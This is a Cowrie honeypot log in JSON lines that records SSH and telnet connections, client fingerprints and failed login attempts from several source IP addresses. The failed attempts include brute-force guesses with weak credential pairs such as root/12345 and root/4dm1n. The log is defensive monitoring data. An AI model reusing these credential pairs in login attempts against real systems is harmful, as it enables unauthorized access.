{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:af:39:02:43:28:8b:e0:0e:9a:a4:72:24:30:9b:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr3tpqBAic9sGaEaBunMqBLwsrn2GV5ZFz2FKtKy6x0AjiSaYToqNVmaVbjhWNJytBye9LaQsJI1iVJ5SCtLG7Kg7LLmQYqvdlGUTRpaFw3yqyY8r8ljGuCkfLqpO9CxfTfL4JIMFanqWilRpxTOVJcwZsP7x9xal+u9/oTrzY6Giip8YCpPbFjmo4FD9pUTQJox6uSb+Kc3zxGLYf2FbHloxqavoE6U6jTQnQQsK3LZNQCIpeFxWYYK6K4Aq6N9Y1fEyOxQVd7qnJHPuK8Nof1fbCbqJfUJnMC+IuuYsXVGMFRWHT2Wf/FqEHrlpWJEPZqpHmaVQlcUIEXlarxO04Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:18.654494Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:79:a0:d8:71:13:f1:fc:41:f3:2d:bb:50:e2:bf:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm64BTEdqE9mwnBzmorQgL9PFKxKV4EiZvL7aD/NTgmqQDAXhJs7557/UCLhdku2SHSI/KZVxB29mUr2YdZhqAOfNes9CTTtS94pyau9d6HjC2EYZ0YJvkAg1JtoVnxZ85m4kZGiBFIqQEamo1sgpnuUGR5JB96WDcF+cZMj6pvecbPH/IZ8+53CCknT44XFvlhlykAK+TgkdVIRvpNfX7vnMF53f8QCzuubyMHYFPUiQXpJHNdAnzgnFO7qqKPLOPZh/1QVrJ4hRij6NvQHXrCjxn9I8zEiCwdSSRqOjQI4ThDMm9KKkRSCzAlCVYAlhEe0jo2JYtdau3B6l0Rsqx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:79:a0:d8:71:13:f1:fc:41:f3:2d:bb:50:e2:bf:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:18.738045Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:79:a0:d8:71:13:f1:fc:41:f3:2d:bb:50:e2:bf:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm64BTEdqE9mwnBzmorQgL9PFKxKV4EiZvL7aD/NTgmqQDAXhJs7557/UCLhdku2SHSI/KZVxB29mUr2YdZhqAOfNes9CTTtS94pyau9d6HjC2EYZ0YJvkAg1JtoVnxZ85m4kZGiBFIqQEamo1sgpnuUGR5JB96WDcF+cZMj6pvecbPH/IZ8+53CCknT44XFvlhlykAK+TgkdVIRvpNfX7vnMF53f8QCzuubyMHYFPUiQXpJHNdAnzgnFO7qqKPLOPZh/1QVrJ4hRij6NvQHXrCjxn9I8zEiCwdSSRqOjQI4ThDMm9KKkRSCzAlCVYAlhEe0jo2JYtdau3B6l0Rsqx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:18.742018Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:18.821758Z","src_ip":"102.129.200.117","session":"66db7ffc2060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38674,"dst_ip":"10.17.0.5","dst_port":23,"session":"210bb3d57fab","protocol":"telnet","message":"New connection: 152.42.224.71:38674 (10.17.0.5:23) [session: 210bb3d57fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:24.841099Z"}
{"eventid":"cowrie.session.closed","duration":39.34390711784363,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:26.184778Z","src_ip":"152.42.224.71","session":"6584d1bfad04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35566,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3daa51d7965","protocol":"ssh","message":"New connection: 31.40.204.166:35566 (159.203.135.109:22) [session: d3daa51d7965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:27.302465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:27.306576Z","src_ip":"31.40.204.166","session":"d3daa51d7965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:27.496079Z","src_ip":"31.40.204.166","session":"d3daa51d7965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:27.995771Z","src_ip":"31.40.204.166","session":"d3daa51d7965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:29.181670Z","src_ip":"31.40.204.166","session":"d3daa51d7965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":80.55990529060364,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:32.953369Z","src_ip":"152.42.224.71","session":"0febde88d04b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.37824749946594,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:35.289113Z","src_ip":"152.42.224.71","session":"73aaad98ad1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42748,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eb33e3454d4","protocol":"ssh","message":"New connection: 31.40.204.166:42748 (159.203.135.109:22) [session: 5eb33e3454d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:38.687093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:38.903824Z","src_ip":"31.40.204.166","session":"5eb33e3454d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:38.908130Z","src_ip":"31.40.204.166","session":"5eb33e3454d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakob","password":"jakob","message":"login attempt [jakob/jakob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:39.629162Z","src_ip":"31.40.204.166","session":"5eb33e3454d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:40.808996Z","src_ip":"31.40.204.166","session":"5eb33e3454d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.26521062850952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:41.955260Z","src_ip":"152.42.224.71","session":"599973f0bb6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.58943963050842,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:49.183512Z","src_ip":"152.42.224.71","session":"c785e7bedbb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57362,"dst_ip":"10.17.0.5","dst_port":23,"session":"c48318150170","protocol":"telnet","message":"New connection: 152.42.224.71:57362 (10.17.0.5:23) [session: c48318150170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:50.102055Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38384,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b8b428a9619","protocol":"ssh","message":"New connection: 31.40.204.166:38384 (159.203.135.109:22) [session: 7b8b428a9619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:50.383000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:50.395313Z","src_ip":"31.40.204.166","session":"7b8b428a9619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:50.517035Z","src_ip":"31.40.204.166","session":"7b8b428a9619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:50.990129Z","src_ip":"31.40.204.166","session":"7b8b428a9619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:52.202928Z","src_ip":"31.40.204.166","session":"7b8b428a9619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":56456,"dst_ip":"10.17.0.5","dst_port":22,"session":"27fc7f69a978","protocol":"ssh","message":"New connection: 103.91.246.101:56456 (10.17.0.5:22) [session: 27fc7f69a978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:53.221787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:53.226884Z","src_ip":"103.91.246.101","session":"27fc7f69a978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:53.447940Z","src_ip":"103.91.246.101","session":"27fc7f69a978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57364,"dst_ip":"10.17.0.5","dst_port":23,"session":"d697a60ae1bc","protocol":"telnet","message":"New connection: 152.42.224.71:57364 (10.17.0.5:23) [session: d697a60ae1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:53.494756Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456a","message":"login attempt [root/a123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:54.362529Z","src_ip":"103.91.246.101","session":"27fc7f69a978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.190629720687866,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:54.375980Z","src_ip":"152.42.224.71","session":"0038ee5066d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:55.589576Z","src_ip":"103.91.246.101","session":"27fc7f69a978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":101.2823965549469,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:51:55.827710Z","src_ip":"152.42.224.71","session":"2c925e00db8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48384,"dst_ip":"10.17.0.5","dst_port":23,"session":"6045a96ce8e6","protocol":"telnet","message":"New connection: 152.42.224.71:48384 (10.17.0.5:23) [session: 6045a96ce8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:00.502788Z"}
{"eventid":"cowrie.session.closed","duration":36.6858491897583,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:01.526836Z","src_ip":"152.42.224.71","session":"210bb3d57fab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":44404,"dst_ip":"10.17.0.5","dst_port":22,"session":"01b6f6094a0c","protocol":"ssh","message":"New connection: 43.156.96.97:44404 (10.17.0.5:22) [session: 01b6f6094a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:06.361957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:06.366008Z","src_ip":"43.156.96.97","session":"01b6f6094a0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:06.611056Z","src_ip":"43.156.96.97","session":"01b6f6094a0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ylngylng","message":"login attempt [root/ylngylng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:07.623985Z","src_ip":"43.156.96.97","session":"01b6f6094a0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33522,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e3347793bd4","protocol":"telnet","message":"New connection: 152.42.224.71:33522 (10.17.0.5:23) [session: 9e3347793bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:07.757787Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:08.871956Z","src_ip":"43.156.96.97","session":"01b6f6094a0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":51726,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe14c3864af8","protocol":"ssh","message":"New connection: 170.106.159.59:51726 (10.17.0.5:22) [session: fe14c3864af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:16.643116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:16.647405Z","src_ip":"170.106.159.59","session":"fe14c3864af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:16.715691Z","src_ip":"170.106.159.59","session":"fe14c3864af8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4dm1n","message":"login attempt [root/4dm1n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:17.021747Z","src_ip":"170.106.159.59","session":"fe14c3864af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:18.095067Z","src_ip":"170.106.159.59","session":"fe14c3864af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.67306733131409,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:23.775028Z","src_ip":"152.42.224.71","session":"c48318150170","protocol":"telnet"}
